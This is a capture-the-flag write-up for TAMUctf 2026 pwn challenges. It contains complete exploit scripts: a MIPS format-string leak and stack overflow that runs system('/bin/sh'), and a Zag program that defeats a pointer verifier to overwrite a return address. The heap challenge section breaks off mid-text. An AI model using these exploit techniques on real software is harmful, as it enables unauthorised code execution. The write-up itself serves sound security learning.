It's been quite a while now since I played TAMUctf 2026. I've been heavily procrastinating completing these writeups in the time since, but I've finally gotten around to wrapping them up. During the CTF I solved three pwn challenges and completely neglected the other (lesser) categories.
$ tree . ├── Dockerfile ├── Makefile.debug ├── entrypoint.sh ├── fake-flag.txt ├── lib-mips │ ├── ld.so.1 │ ├── libc.so │ ├── libc.so.6 │ ├── libgcc_s.so.1 │ └── libm.so.6 ├── meep └── solver-template.py 2 directories, 11 files
DockerfileFROM debian:bookworm-slim RUN apt-get update && apt-get install -y \ qemu-user-static \ gdbserver \ && rm -rf /var/lib/apt/lists/* WORKDIR /home COPY meep /home/meep ARG FLAG_FILE=flag.txt COPY ${FLAG_FILE} /home/flag.txt # Copy MIPS loader & libs into /lib COPY lib-mips/* /lib/ COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh EXPOSE 1234 9001 # Run gdbserver via qemu-user-static ENTRYPOINT ["/entrypoint.sh"]
Makefile.debugNAME := meep DOCKER_CONTEXT := default DOCKER_GLOBAL := --context $(DOCKER_CONTEXT) GDB_PORT := 1234 VULN_PORT := 9001 CPORTS := 9001 HPORTS := $(CPORTS) DOCKER_RUNTIME := --read-only --tmpfs /tmp --cap-drop ALL --security-opt no-new-privileges --restart=always build: Dockerfile docker $(DOCKER_GLOBAL) build -t $(NAME) . --build-arg FLAG_FILE=fake-flag.txt run: docker $(DOCKER_GLOBAL) run --rm -it -e DEBUG=1 -p $(GDB_PORT):$(GDB_PORT) -p $(VULN_PORT):$(VULN_PORT) --name $(NAME) $(NAME)
entrypoint.sh#!/bin/sh if [ "$DEBUG" = "1" ]; then echo "[*] Running in DEBUG mode | Debug port at 1234" echo "Use gdb to connect to the process by running 'target remote localhost:1234' from gdb (or gdb-multiarch)" exec qemu-mips-static -g 1234 ./meep else echo "[*] Running in normal mode" exec qemu-mips-static ./meep fi
fake-flag.txt
gigem{testing_flag}
solver-template.pyfrom pwn import * context.log_level = "debug" io = remote("streams.tamuctf.com", 443, ssl=True, sni="meep") io.interactive(prompt="")
This was the first challenge I solved and it took me far longer than it should've. But oh well, you live and you learn.
meep was an ELF file that targeted MIPS, an
architecture I'd heard of but knew nothing useful about, and I
still don't really, even after solving the challenge.
I began by compiling QEMU with MIPS as a target so I could run
the challenge on my system. After it compiled, I realized that I'd
have to patch the binary to use the libc and interpreter the
challenge provided. However, I wasn't able to patch the ELF using
my host's patchelf. That was a bit annoying. I then
had two options: compile the MIPS toolchain, or solve the challenge
in a Docker container. I opted for the latter as compiling the MIPS
toolchain would take too long. From experience, the ARM one can
take almost an hour!
So I created and ran a Docker container using the
Dockerfile as a reference to find the exact image:
$ docker run -it debian:bookworm-slim
Having the exact image as the remote instance was nice. Since I was basically already on the remote instance, it meant that I didn't have to fumble around patching files or worry about my exploit not working remotely.
Next I installed the required tools, and while they were installing, I threw the binary into Ghidra and read the decompilation.
It was a server program that accepted connections on port
9001. Once a connection was made it would call two
functions: greet and diagnostics. The
decompilation revealed two blatant vulnerabilities: an uncontrolled
format string and a stack buffer overflow.
The uncontrolled format string was in the greet
function:
/* WARNING: Unknown calling convention */ void greet(_func_int_char_ptr *logger) { code *in_a0; _func_int_char_ptr *my_logger; char name [128]; send(1,"Enter admin name: ",0x12,0); recv(0,name,0x100,0); (*in_a0)(&UNK_00400f2c); printf(name); return; }
And the stack buffer overflow was in the
diagnostics function:
/* WARNING: Unknown calling convention -- yet parameter storage is locked */ void diagnostics(void) { char cmd [128]; /* Unresolved local var: char * checker@[DW_OP_reg16(s0)] Unresolved local var: char * checker2@[DW_OP_reg17(s1)] */ send(1,"Enter diagnostic command:\n",0x1b,0); recv(0,cmd,0x100,0); send(1,"Running command...\n",0x13,0); if (cmd[0] == ' ') { send(1,"Cannot start with a space!\n",0xb,0); } if (cmd[0x7f] == ' ') { send(1,"Cannot end with a space!\n",0xb,0); } return; }
The fact that the stack was executable was the cherry on top. At this point I knew exactly what I had to do. Well, at least in theory. The plan was to use the uncontrolled format string to get a stack leak, then use the stack buffer overflow to write shellcode on the stack, and then return to it.
Getting a nice debug setup for the challenge was also a bit
annoying. This was partially because I had to use QEMU, but it was
mainly because it was a server program. In the end I required three
tmux panes!
The first pane was for QEMU to run the binary with a debug port:
$ qemu-mips-static -g 1234 meep
Listening on port 9001...
The second pane was for pwndbg to connect to the
binary for remote debugging:
$ pwndbg meep pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list. pwndbg: created 9 GDB functions (can be used with print/break). Type help function to see them. Reading symbols from meep... ------- tip of the day (disable with set show-tips off) ------- Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use set kernel-vmmap-via-page-tables off for that) pwndbg> target remote localhost:1234 Remote debugging using localhost:1234
And the third pane was for my pwntools script to
interact with the binary:
from pwn import * context.binary = "./meep" libc = ELF("lib-mips/libc.so.6") t = remote("localhost", 9001)
I probably didn't actually need three panes and might've been
able to kill two birds with one stone with pwntools,
but there was no time for that sort of rational thinking in the
heat of battle.
Once I got comfortable with the setup, it was off to write the
exploit. The first step was to get a stack leak. That was easy with
the uncontrolled format string. I sent in a bunch of
%p format specifiers to read from the stack and got
the sequence: (nil), 0x1,
(nil), 0x419020, 0x7,
0x3fe3d3b0, 0x25702e25,
0x702e2570.
Using pwndbg I set a breakpoint on the
printf call in greet to orient myself
with the stack layout:
pwndbg> x/32a $sp 0x40800ba8: 0x0 0x0 0x1 0x0 0x40800bb8: 0x419020 0x7 0x3fe3d3b0 <puts> 0x25702e25 0x40800bc8: 0x702e2570 0x2e25702e 0x25702e25 0x702e2570 0x40800bd8: 0x2e25702e 0xa702c20 0x252c2025 0x2c20702c 0x40800be8: 0x20252c20 0x252c2070 0x2c20252c 0x20252c20 0x40800bf8: 0x702c2025 0x2c20252c 0x20702c20 0x252c2025 0x40800c08: 0x2c20705d 0xa000001 0x40800da4 0x1 0x40800c18: 0x0 0x411004 0x400ac8 <main> 0x3ffd30f4
You can see the values I read began right at the stack pointer.
Further down I saw a nice stack address on the stack at
0x40800c10. That was the 40th format specifier and I
could read it with %40$p. I also decided to get a libc
leak using the puts address at 6th format specifier
using %6$p. Getting the libc leak wasn't part of the
initial plan, but I figured that I might as well.
Now that I had a stack leak and a libc leak, it was time to
utilize that stack buffer overflow and get some shellcode on the
stack. I prefer to write shellcode last and just make sure that I
can return to the buffer that I control first. Using the leak, and
a few more breakpoints, I calculated the buffer address was
0x90 bytes before the stack leak. Ghidra told me that
the return address was also on the stack, however it said I had to
write 0x90 bytes to reach it even though I only
actually had to write 0x8c bytes.
I couldn't be bothered learning the MIPS architecture so I asked
an LLM about the calling conventions and how to pass an address to
a function. The plan was to call system("/bin/sh"). I
had a libc leak after all.
In the end, I created the shellcode with:
system = libc.sym.system binsh = next(libc.search(b'/bin/sh')) shellcode = asm(f''' lui $a0, 0x{(binsh >> 16) & 0xffff:04x} ori $a0, $a0, 0x{binsh & 0xffff:04x} lui $t9, 0x{(system >> 16) & 0xffff:04x} ori $t9, $t9, 0x{system & 0xffff:04x} jalr $t9 nop ''')
The exploit just worked both locally and on the remote instance.
The flag was gigem{m33p_m1p_1_n33d_4_m4p}. Overall, it
was an easy challenge with very classic pwn challenge tropes. The
fact that it was MIPS just added that extra bit of agitation.
Below was my final exploit:
#!/usr/bin/env python3 from pwn import * context.binary = "./meep" libc = ELF("lib-mips/libc.so.6") def main(): t = remote("localhost", 9001) t.sendlineafter(b"Enter admin name: ", b"puts:%6$p:stack:%40$p:") t.recvuntil(b"puts:") puts = eval(t.recvuntil(b":", True)) t.recvuntil(b"stack:") stack = eval(t.recvuntil(b":", True)) libc.address = puts - libc.sym.puts buf = stack - 0x90 system = libc.sym.system binsh = next(libc.search(b'/bin/sh')) shellcode = asm(f''' lui $a0, 0x{(binsh >> 16) & 0xffff:04x} ori $a0, $a0, 0x{binsh & 0xffff:04x} lui $t9, 0x{(system >> 16) & 0xffff:04x} ori $t9, $t9, 0x{system & 0xffff:04x} jalr $t9 nop ''') t.sendlineafter(b"Enter diagnostic command:\n", shellcode.ljust(0x8c, b"A") + p32(buf)) t.interactive() if __name__ == "__main__": main()
$ tree . ├── Dockerfile ├── ld-linux-x86-64.so.2 ├── libc.so.6 ├── server.py ├── solver-template.py └── zag 1 directory, 6 files
DockerfileFROM debian@sha256:1d3c811171a08a5adaa4a163fbafd96b61b87aa871bbc7aa15431ac275d3d430 AS base RUN apt-get update -y; apt-get install build-essential git python3 -y RUN git clone https://github.com/macsencasaus/zag.git WORKDIR /zag RUN git checkout 3c52893 RUN ./build.sh FROM pwn.red/jail COPY --from=base / /srv RUN mkdir -p /srv/app COPY --from=base /zag/build/release/zag /srv/app/zag RUN chmod 755 /srv/app/zag COPY server.py /srv/app/server.py COPY flag.txt /srv/app/flag.txt RUN echo -e "#!/bin/sh\npython3 server.py" > /srv/app/run && chmod 555 /srv/app/run ENV JAIL_TIME=120 JAIL_PIDS=100 JAIL_MEM=300M JAIL_CPU=300 JAIL_TMP_SIZE=100M JAIL_ENV_CC=/usr/bin/cc JAIL_ENV_PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
server.py#!/usr/bin/env python3 import os import re import tempfile import subprocess ZAG_BINARY = os.environ.get("ZAG_BINARY", "/app/zag") MAX_SRC_SIZE = 32 * 1024 # 32 KB COMPILE_TIMEOUT = 10 # seconds BANNER = """\ === Zag Jail === Submit your Zag source code. End with <EOF>. Rules: - extern is not allowed - pointer arithmetic (p + N, p - N) is not allowed, that would be too easy :) - out-of-bounds subscript accesses are not allowed === """ TYPE_SIZES = { 'i8': 1, 'u8': 1, 'i16': 2, 'u16': 2, 'i32': 4, 'u32': 4, 'i64': 8, 'u64': 8, 'f32': 4, 'f64': 8, } def die(msg: str) -> None: print(msg) raise SystemExit(1) class PtrState: __slots__ = ('origin', 'length', 'elem_size', 'index', 'tainted') def __init__(self, origin: str, length: int, elem_size: int, index: int = 0): self.origin = origin self.length = length self.elem_size = elem_size self.index = index self.tainted = False def clone(self) -> 'PtrState': s = PtrState(self.origin, self.length, self.elem_size, self.index) s.tainted = self.tainted return s # Master tokeniser: alternatives tried left-to-right, most specific first. _TOKEN = re.compile( r'(?P<STR>"(?:[^"\\]|\\.)*")' r"|(?P<CHR>'(?:[^'\\]|\\.)*')" r"|(?P<CTRL>\b(?:while|if)\b)" r"|(?P<ELSE>\belse\b)" r"|(?P<OPEN>\{)" r"|(?P<CLOSE>\})" r"|(?P<VPI>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*&\w+\s*\[\d+\])" r"|(?P<VPB>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*&\w+(?!\s*\[))" r"|(?P<VPC>\bvar\s+\w+\s*:\s*\*\w+\s*=\s*\w+)" r"|(?P<RAI>\b\w+\s*=\s*&\w+\s*\[\d+\])" r"|(?P<RAB>\b\w+\s*=\s*&\w+(?!\s*\[))" r"|(?P<PTRASSIGN>\b\w+\s*=\s*\w+\b(?!\s*[+\-]))" r"|(?P<POSTINC>\b\w+\+\+)" r"|(?P<PREINC>\+\+\w+\b)" r"|(?P<POSTDEC>\b\w+--)" r"|(?P<PREDEC>--\w+\b)" r"|(?P<SUB>\b\w+\s*\[\d+\])" r"|(?P<VSUB>\b\w+\s*\[[^\]]*\])" r"|(?P<DEREF>\*\w+\b)" r"|(?P<ARITH>\b\w+\s*[+\-](?![+\-=]))" ) _re = { 'VPI': re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*&(\w+)\s*\[(\d+)\]'), 'VPB': re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*&(\w+)'), 'VPC': re.compile(r'var\s+(\w+)\s*:\s*\*(\w+)\s*=\s*(\w+)'), 'RAI': re.compile(r'(\w+)\s*=\s*&(\w+)\s*\[(\d+)\]'), 'RAB': re.compile(r'(\w+)\s*=\s*&(\w+)'), 'PTRASSIGN': re.compile(r'(\w+)\s*=\s*(\w+)'), 'INCDEC': re.compile(r'(\w+)'), 'SUB': re.compile(r'(\w+)\s*\[(\d+)\]'), 'VSUB': re.compile(r'(\w+)\s*\[([^\]]*)\]'), 'DEREF': re.compile(r'\*(\w+)'), 'ARITH': re.compile(r'(\w+)'), } def check_pointer_safety(src: str) -> None: src = re.sub(r'//[^\n]*', '', src) arrays: dict[str, tuple[int, int]] = {} for m in re.finditer(r'\bvar\s+(\w+)\s*:\s*\[(\d+)\](\w+)', src): arrays[m.group(1)] = (int(m.group(2)), TYPE_SIZES.get(m.group(3), 8)) scalars: dict[str, int] = {} for m in re.finditer(r'\bvar\s+(\w+)\s*:\s*([a-z]\w*)(?!\s*[\[*])', src): name, t = m.group(1), m.group(2) if name not in arrays and t in TYPE_SIZES: scalars[name] = TYPE_SIZES[t] def resolve(name: str) -> tuple[int, int] | None: if name in arrays: return arrays[name] if name in scalars: return (1, scalars[name]) return None ptrs: dict[str, PtrState] = {} ctx: list[bool] = [] last_ctrl = False def in_cond() -> bool: return any(ctx) def bounds_check(name: str, offset: int, what: str) -> None: if name not in ptrs: return s = ptrs[name] if s.tainted: die(f"Rejected: '{name}' was mutated inside a loop or conditional; " f"subscript access is not allowed on tainted pointers.") access = s.index + offset if access < 0 or access >= s.length: die(f"Rejected: {what} accesses tracked index " f"{s.index}{'+' if offset >= 0 else ''}{offset} = {access}, " f"out of bounds for '{s.origin}' (length {s.length}).") for m in _TOKEN.finditer(src): k = m.lastgroup txt = m.group(0) if k in ('STR', 'CHR'): last_ctrl = False elif k == 'CTRL': last_ctrl = True elif k == 'ELSE': last_ctrl = True elif k == 'OPEN': ctx.append(last_ctrl) last_ctrl = False elif k == 'CLOSE': if ctx: ctx.pop() last_ctrl = False else: last_ctrl = False if k == 'VPI': name, t, arr, idx = _re['VPI'].search(txt).groups() info = resolve(arr) if info: length, _ = info init_idx = int(idx) if init_idx < 0 or init_idx >= length: die(f"Rejected: initial pointer index {init_idx} is out of bounds " f"for '{arr}' (length {length}).") ptrs[name] = PtrState(arr, length, TYPE_SIZES.get(t, 8), init_idx) else: die(f"Rejected: '{arr}' is not a known array or scalar.") elif k == 'VPB': name, t, arr = _re['VPB'].search(txt).groups() info = resolve(arr) if info: ptrs[name] = PtrState(arr, info[0], TYPE_SIZES.get(t, 8)) else: die(f"Rejected: '{arr}' is not a known array or scalar.") elif k == 'VPC': name, t, src_ptr = _re['VPC'].search(txt).groups() if src_ptr in ptrs: src = ptrs[src_ptr] new_elem = TYPE_SIZES.get(t, 8) total_bytes = src.length * src.elem_size byte_offset = src.index * src.elem_size new_length = total_bytes // new_elem new_index = byte_offset // new_elem ptrs[name] = PtrState(src.origin, new_length, new_elem, new_index) ptrs[name].tainted = src.tainted else: die(f"Rejected: '{src_ptr}' is not a tracked pointer.") elif k == 'RAI': ptr, arr, idx = _re['RAI'].search(txt).groups() if ptr in ptrs: info = resolve(arr) if info: ptrs[ptr].origin = arr ptrs[ptr].length = info[0] ptrs[ptr].index = int(idx) ptrs[ptr].tainted = False elif k == 'RAB': ptr, arr = _re['RAB'].search(txt).groups() if ptr in ptrs: info = resolve(arr) if info: ptrs[ptr].origin = arr ptrs[ptr].length = info[0] ptrs[ptr].index = 0 ptrs[ptr].tainted = False elif k == 'PTRASSIGN': ptr, rhs = _re['PTRASSIGN'].search(txt).groups() if ptr in ptrs: if in_cond(): ptrs[ptr].tainted = True elif rhs in ptrs: ptrs[ptr] = ptrs[rhs].clone() else: ptrs[ptr].tainted = True elif k in ('POSTINC', 'PREINC'): name = _re['INCDEC'].search(txt).group(1) if name in ptrs: if in_cond(): ptrs[name].tainted = True else: ptrs[name].index += 1 elif k in ('POSTDEC', 'PREDEC'): name = _re['INCDEC'].search(txt).group(1) if name in ptrs: if in_cond(): ptrs[name].tainted = True else: ptrs[name].index -= 1 elif k == 'SUB': name, idx = _re['SUB'].search(txt).groups() idx = int(idx) if name in arrays: length, _ = arrays[name] if idx < 0 or idx >= length: die(f"Rejected: '{name}[{idx}]' is out of bounds " f"for '{name}' (length {length}).") elif name in ptrs: bounds_check(name, idx, f"'{name}[{idx}]'") else: die(f"Rejected: subscript on untracked variable '{name}'.") elif k == 'VSUB': name, expr = _re['VSUB'].search(txt).groups() if name in arrays: die(f"Rejected: non-literal subscript '{name}[{expr.strip()}]' " f"on array '{name}'.") elif name in ptrs: die(f"Rejected: non-literal subscript '{name}[{expr.strip()}]' " f"on tracked pointer '{name}'.") else: die(f"Rejected: subscript on untracked variable '{name}'.") elif k == 'DEREF': name = _re['DEREF'].search(txt).group(1) if name in TYPE_SIZES: pass # type annotation (*u32 etc.), not a dereference elif name in ptrs: bounds_check(name, 0, f"'*{name}'") else: die(f"Rejected: dereference of untracked pointer '{name}'.") elif k == 'ARITH': name = _re['ARITH'].search(txt).group(1) if name in ptrs: die(f"Rejected: explicit pointer arithmetic on '{name}';") def validate(src: str) -> None: if re.search(r'\bextern\b', src): die("Rejected: 'extern' is not allowed.") check_pointer_safety(src) def main() -> None: print(BANNER, end="") lines = [] total = 0 try: while True: line = input() if line == '<EOF>': break line += '\n' total += len(line.encode()) if total > MAX_SRC_SIZE: die("Error: source too large (max 32 KB).") lines.append(line) except EOFError: pass src_text = "".join(lines) validate(src_text) with tempfile.TemporaryDirectory(prefix="zagjail_") as tmpdir: src_path = os.path.join(tmpdir, "program.zag") bin_path = os.path.join(tmpdir, "program") with open(src_path, "w") as f: f.write(src_text) print("Compiling...") try: result = subprocess.run( [ZAG_BINARY, src_path, "-o", bin_path], capture_output=True, text=True, timeout=COMPILE_TIMEOUT, ) except subprocess.TimeoutExpired: die("Error: compilation timed out.") except FileNotFoundError: die("Error: compiler not found.") if result.returncode != 0: print("Compilation failed:") print(result.stderr[:2048]) raise SystemExit(1) # check if the binary was actually created if not os.path.isfile(bin_path): die("Error: compiled binary not found, did you break the compiler :p") print("Running...") os.execv(bin_path, [bin_path]) if __name__ == "__main__": main()
solver-template.pyfrom pwn import * io = remote("streams.tamuctf.com", 443, ssl=True, sni="zagjail") io.interactive(prompt="")
The name of this challenge indicated very early on what I was in for. It was a jail challenge. Now I hadn't played too many jail challenges before, but I understood the chief concept. You're normally given something which is typically easy to exploit, however, restrictions are added which place you in a sort of "jail" where you have to bypass the restrictions in order to "escape".
Based on the challenge's name, I thought that it was going to be Zig-related. But no, Zag is actually a toy programming language created by someone who the author was evidently quite fond of.
To understand Zag, I didn't need to look much further than the
repository's README which contained substantial
examples. The syntax was similar to Rust and that's actually what I
used for syntax highlighting in vim with set
filetype=rust.
For this challenge, the jail restrictions took the form of a
program verifier implemented in server.py which
restricted certain parts of the language. A comment in the source
code stated clearly a few things that it would try to restrict.
External definitions, pointer arithmetic, and out-of-bounds
subscript accesses were not allowed. But as you can probably guess,
those stated restrictions were not adequately enforced.
The program verifier created a list of regex tokens which weren't really tokens in the common lexer understanding of the term, they were more high level. It would then iterate over each token in the Zag program's source code in a single pass, and for each token it encountered, it would run certain checks using the context it had built up so far.
The PtrState class was one mechanism which enabled
the program verifier to run its checks:
class PtrState: __slots__ = ('origin', 'length', 'elem_size', 'index', 'tainted') def __init__(self, origin: str, length: int, elem_size: int, index: int = 0): self.origin = origin self.length = length self.elem_size = elem_size self.index = index self.tainted = False def clone(self) -> 'PtrState': s = PtrState(self.origin, self.length, self.elem_size, self.index) s.tainted = self.tainted return s
The program verifier tracked the state of Zag pointers, which
are similar to C pointers, through the PtrState class.
It created a dictionary called ptrs which associated
each Zag pointer in a program with a PtrState object.
That way, at a point in time, the program verifier could query the
dictionary to determine which operations could be performed on a
pointer.
It was time to write some Zag code. First, I patched the Zag
compiler zag with the provided libc and dynamic
linker:
$ patchelf --set-interpreter ~/zagjail/ld-linux-x86-64.so.2 --set-rpath ~/zagjail/ zag
Then I created a file main.zag and wrote the most
boilerplate Zag program possible which did nothing:
fn main() i32 { return 0; }
Finally, I compiled it with:
$ ./zag main.zag
That produced a dynamically linked output ELF file
main which was linked with libc. Therefore, I also had
to patch it for consistency. The fact that it was linked with libc
proved to be rather important later down the line.
Throughout the start of me working on this challenge I had no
direction, I didn't know exactly how I was going to get code
execution. I just fumbled around seeing if I could get a meaningful
segfault. I spent quite a while just spam coding and realized that
Zag functions would segfault without a return statement. It was
almost like forgetting to call exit when writing
assembly; the program counter just keeps going.
My main issue was that I kept thinking about function pointers. I thought that the way to get code execution would be through legitimate means of the program itself. After a few futile attempts, I realized that this language was no C: I couldn't do function pointer stuff. Also, to my disappointment, pointer arithmetic was pretty hardened. All of my attempts were failing; I felt like I hit a wall, or maybe it was just a skill issue.
I tried to clear my head and just think about what I had to do fundamentally. I had to make the program verifier believe that my invalid memory accesses were valid when they weren't. That led me to the fatal flaw in the program verifier: scope.
After many segfaults and program verifier fails, I realized that the program verifier didn't have a proper notion of scope. It tried to handle scope in a few narrow cases. It would check if a pointer was mutated in a loop or conditional and mark the pointer as tainted which prevented you from accessing it afterwards. However, if you didn't modify the pointer, and say, just declared it, then it would remain untainted.
Consider the C code below:
uint64_t arr[1]; int main() { { uint64_t arr[2048]; } arr[2048]; return 0; }
Imagine that the program verifier was for C. First, it would see
arr defined at global scope. It would then associate
arr with a PtrState of
length 1. Then it would continue down to the second
definition of arr. You and I know that this
arr definition is only valid within the compound
statement. However, the program verifier doesn't know this and it
would override the previous association, associating
arr with a PtrState of
length 2048. So outside of the compound statement,
when you then index into arr at index 2047, even
though you're actually referencing the global arr of
length 1, it will allow the index as it's most recent
association says that the length of arr
is 2048.
Here's how it would look in Zag:
var arr: [1]u64; fn main() i32 { { var arr: [2048]u64; } arr[2047]; return 0; }
This was the epiphany I needed. However, I needed a much larger
OOB accesses than 2047 bytes. The problem with making the second
definition of arr much larger was that it was on the
stack and the program would segfault trying to allocate the frame.
Luckily, I didn't even have to put the second definition inside a
function that got called.
The following code worked too:
var arr: [1]u64; fn foo() i32 { var arr: [18446744073709551615]u64; return 0; } fn main() i32 { arr[2047]; return 0; }
So now I could make arr as large as I wanted. And
since I never called bar, the second definition would
never see the light of day. However, there was one limitation of
this newer method: arr wasn't on the stack anymore. I
could only get OOB access on a global variable and was effectively
blinded from the stack due to ASLR. If I wanted to get OOB access
on a stack variable in a function, I'd need to resort back to the
compound statement approach. I'd just have to be careful of the
size.
At this point I effectively had an arbitrary read and write
primitive. Then came the classic question of what to do with it.
The Zag compiler still linked with libc so I had all that goodness
to play with. Concretely, I knew that my favorite function
system was somewhere in memory, just begging to be
called.
I decided to get a libc leak first. To do this I read from the
global offset table (GOT) using an OOB read on a global array. Put
simply, global objects are either stored in an ELF file's
bss or data section depending on whether
they are initialized or not. In my case, I had an uninitialized
global array, so it ended up in the bss section.
You can think of the GOT as a magical table that tells a dynamically linked program where other symbols are in other shared libraries. That's a gross oversimplification but bear with me. In this case, since the program was dynamically linked with libc, some entries in the GOT contained libc addresses.
Below were the dynamic symbols in my output Zag program:
$ nm -D main
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
w __cxa_finalize@GLIBC_2.2.5
w __gmon_start__
U __libc_start_main@GLIBC_2.34
In my program, the global array was somewhere in the
bss section which was actually ahead of the
got section in the ELF file. But luckily I could use a
negative index and it just seemed to work. It turned out the
program verifier didn't check for negative OOB accesses.
Now it's important to note that I couldn't print the leak. In the Zag program I'd do the OOB read and assign it to a variable. Then, I'd have to fire up GDB to verify that the OOB read was what I expected.
From the libc leak, I knew where system was and I
could overwrite the return address using an OOB write on a stack
array. Overwriting the return address was all well and good, but I
couldn't forget about arguments. I needed /bin/sh as
the first argument, or concretely, I needed it in the
rdi register. I used a neat trick I learned a while
ago from the
Run-time ABI for the Arm Architecture to control which
registers a function returns its arguments in.
When you call a function, the arguments get placed in
predictable registers. If said function simply returns without
doing anything, you can use that function to set the argument
registers. In my case, I wanted /bin/sh to be in the
rdi register which is the first argument. So if I
called a stub system function and passed in
/bin/sh and returned immediately, then after I
returned, rdi would still be set to
/bin/sh.
Also debugging this challenge to find the correct offsets for my OOB accesses was a bit annoying. The Zag compiler didn't give global objects their own symbols and the C decompilation wasn't super nice. I mean it was nice enough, but throwing it into Ghidra after each compilation got a bit cumbersome. To find the correct stack offset I basically wrote a known value at some offset and then set a breakpoint before returning to look at the stack. I located where I had written to see how far off I was from the return address and just adjusted my offset accordingly.
Unfortunately my local exploit didn't work on the remote
instance the first try. Luckily I had the Dockerfile
and after some debugging, I realized that my libc leak was wrong I
had to change the index from -7 to -10.
I actually enjoyed this challenge. I liked how there wasn't a screaming vulnerability in your face. It was interesting how you didn't just have to exploit the program verifier, you also had to kind of exploit the program you wrote too.
Below was my final Zag program:
var global_arr: [1]u64; var binsh: [8]u8 = {'/', 'b', 'i', 'n', '/', 's', 'h', 0}; fn system_stub(command: *u8) i32 { return 0; } fn main() i32 { var local_arr: [1]u64; var system: u64; { var local_arr: [3]u64; } system = global_arr[-7] + 169030; system_stub(&binsh); local_arr[2] = system; return 0; }
$ tree . ├── ld-linux-x86-64.so.2 ├── libc.so.6 ├── solver-template.py ├── task-manager └── task-manager.c 1 directory, 5 files
solver-template.pyfrom pwn import * context.log_level = "debug" io = remote("streams.tamuctf.com", 443, ssl=True, sni="task-manager") io.interactive(prompt="")
task-manager.c#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #define ADD_TASK 1 #define PRINT_TASK 2 #define DELETE_TASK 3 #define ADD_REMINDER 4 #define EXIT_TASK 5 // IGNORE THIS: void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } // struct for Tasks typedef struct Tasks { char task[80]; struct Tasks* next; } Tasks; // struct for Task Pointer typedef struct { int sel; Tasks** head; char reminder[72]; } TaskHead; // Size of task list unsigned long long size = 0; // Deletes last task inline __attribute__((always_inline)) void cleanup(Tasks** tasks) { // If last entry, removal process requires two frees if (size == 1) { free((*tasks)->next); (*tasks)->next = NULL; free(*tasks); *tasks = NULL; return; } // Iterates until last task is reached Tasks* temp = *tasks; for (unsigned long long i = 1; i < size; ++i) { temp = temp->next; } // Freeing next pointer free(temp->next); temp->next = NULL; return; } // Prints all tasks inline __attribute__((always_inline)) void print_tasks(Tasks* tasks) { // Do not print if no tasks exist if (size < 1) { puts("No tasks to print!\n"); return; } // Printing all tasks: printf("Task #1: %s\n", tasks->task); Tasks* temp = tasks; for (unsigned long long i = 2; i <= size; ++i) { temp = temp->next; printf("Task #%lld: %s\n", i, temp->task); } puts(""); } // Add a reminder inline __attribute__((always_inline)) void add_reminder(TaskHead* task_pointer) { printf("Old reminder: %s\n", task_pointer->reminder); // Enter info for reminder printf("Enter reminder (max. 72 characters): "); read(0, task_pointer->reminder, 72); printf("Reminder you entered: %s\n", task_pointer->reminder); return; } // Creates new task inline __attribute__((always_inline)) void create_tasks(Tasks** tasks) { Tasks* temp = NULL; // If no tasks exist, create Tasks struct if (*tasks == NULL) { *tasks = malloc(sizeof(Tasks)); temp = *tasks; temp->next = malloc(sizeof(Tasks)); } // Otherwise, create next task else { temp = *tasks; for (unsigned long long i = 1; i <= size; ++i) { temp = temp->next; } temp->next = malloc(sizeof(Tasks)); } // Enter info for new task printf("Enter task (max. 80 characters): "); read(0, temp->task, 88); printf("Task you entered: %s\n", temp->task); } int main() { init(); // Initializing variables Tasks* tasks = NULL; TaskHead* taskPointer = malloc(sizeof(TaskHead)); taskPointer->head = &tasks; taskPointer->sel = 0; // Entering name char name[40] = "\0"; printf("Enter your name (max. 40 characters): "); read(0, name, 40); printf("Welcome, %s!\n", name); puts("Welcome to Task Manager!\n"); // Menu while (1) { if ((char)taskPointer->reminder != "\0") { printf("Reminder: %s\n", taskPointer->reminder); } puts("1. Add New Task"); puts("2. Print All Tasks"); puts("3. Delete Last Task"); puts("4. Add Reminder"); puts("5. Exit"); printf("Enter your input: "); scanf("%d", &taskPointer->sel); printf("You selected: %d\n\n", taskPointer->sel); switch (taskPointer->sel) { case ADD_TASK: create_tasks(taskPointer->head); size += 1; break; case PRINT_TASK: puts("Printing all tasks in order:\n"); print_tasks(tasks); break; case DELETE_TASK: // Break if no tasks left to remove if (size < 1) { puts("No task to remove!\n"); break; } puts("Removing task..."); // Deletes last task cleanup(&tasks); size -= 1; printf("Remaining tasks: %lld\n\n", size); break; case ADD_REMINDER: add_reminder(taskPointer); break; case EXIT_TASK: puts("Exiting....."); // Cleanup all tasks if exiting while (size > 0) { cleanup(&tasks); size -= 1; } free(taskPointer); return 0; default: puts("Invalid input! Try again.\n"); break; } } }
This was the final challenge I solved and it took me far too
long. Whenever I see malloc in the .got
section of a challenge, a shiver runs down my spine. So let's just
say that I wasn't super excited when I realized that this was a
heap challenge.
As expected, I first patched the binary with
patchelf to use the provided libc and dynamic
linker:
$ patchelf --set-interpreter ~/task-manager/ld-linux-x86-64.so.2 --set-rpath ~/task-manager/ task-manager
This first step was ever so important because in heap challenges, having the right version of glibc is critical.
Speaking of, I then checked the version of glibc:
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9+deb12u13) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
So I knew it was glibc 2.36 but that didn't mean that much to
me. I knew the version dictated the type of heap exploitation you
could and couldn't do, however, that was a bridge I was willing to
cross later. Moving on, I briefly read the the challenge's source
code in task-manager.c.
The source code followed the typical heap challenge CRUD
structure except without the "U". The program managed a singly
linked list of Tasks:
